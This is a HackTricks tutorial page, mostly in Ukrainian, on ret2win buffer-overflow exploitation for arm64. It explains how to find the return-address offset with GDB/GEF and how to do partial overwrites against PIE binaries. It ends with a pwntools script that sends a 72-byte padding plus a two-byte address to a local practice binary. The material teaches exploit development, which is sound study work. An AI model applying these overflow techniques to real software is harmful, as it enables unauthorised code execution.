Ret2win - arm64
Ret2win - arm64
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Знайдіть вступ до arm64 в:
Introduction to ARM64v8Код
Скомпілюйте без pie та canary:
Знаходження зсуву
Варіант шаблону
Цей приклад був створений за допомогою GEF:
Запустіть gdb з gef, створіть шаблон і використайте його:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-096c979f4a12f16813115caebf045cc6c03d305c%252Fimage%2520%281205%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=46147457&sv=1)
arm64 спробує повернутися за адресою в регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти зсув шаблону:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-857c75045c3b3b8b5adabd858a63aaf943b7ba35%252Fimage%2520%281206%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=5aeb4b27&sv=1)
Зсув становить 72 (9x48).
Варіант зсуву стеку
Почніть з отримання адреси стеку, де зберігається регістр pc:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-db5113a1179fa4142e4d55ab15c3dc54f30e64ea%252Fimage%2520%281207%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=fb620dda&sv=1)
Тепер встановіть точку зупинки після read()
і продовжте, поки read()
не буде виконано, і встановіть шаблон, наприклад 13371337:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-4fab5fc91aa23b833470634d0e84aeba13e43a2c%252Fimage%2520%281208%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ed679ec&sv=1)
Знайдіть, де цей шаблон зберігається в пам'яті:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-acc265687c6d27fc665966c25710898b2dfc4172%252Fimage%2520%281209%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=fef344ef&sv=1)
Тоді: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-50cc9d21a4d051e5ca550f231c3ab0edfb2ffae3%252Fimage%2520%281210%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=eb67ddd0&sv=1)
No PIE
Regular
Отримайте адресу функції win
:
Експлуатація:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-2b9922f3920ea5177d5e54c0a00added57135c9b%252Fimage%2520%281211%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=d65888bc&sv=1)
Off-by-1
Насправді це буде більше схоже на off-by-2 у збереженому PC у стеку. Замість того, щоб перезаписувати всю адресу повернення, ми перезапишемо тільки останні 2 байти значенням 0x06c4
.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-ef98334cf0c73a8b0410d25ce60fef4555fa4fbc%252Fimage%2520%281212%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=320292ee&sv=1)
Ви можете знайти ще один приклад off-by-one в ARM64 за посиланням https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, який є справжнім off-by-one у вигаданій вразливості.
З PIE
Скомпілюйте бінарний файл без аргументу -no-pie
Off-by-2
Без leak ми не знаємо точну адресу виграшної функції, але можемо знати зсув функції від бінарного файлу, і знаючи, що адреса повернення, яку ми перезаписуємо, вже вказує на близьку адресу, можливо отримати зсув до виграшної функції (0x7d4) у цьому випадку і просто використати цей зсув:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2585115637-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhAv2kYoPrT3n8552GaQU%252Fuploads%252Fgit-blob-b076519e1147190fa814be8491695fea49e89f17%252Fimage%2520%281213%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=56e63808&sv=1)
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
Last updated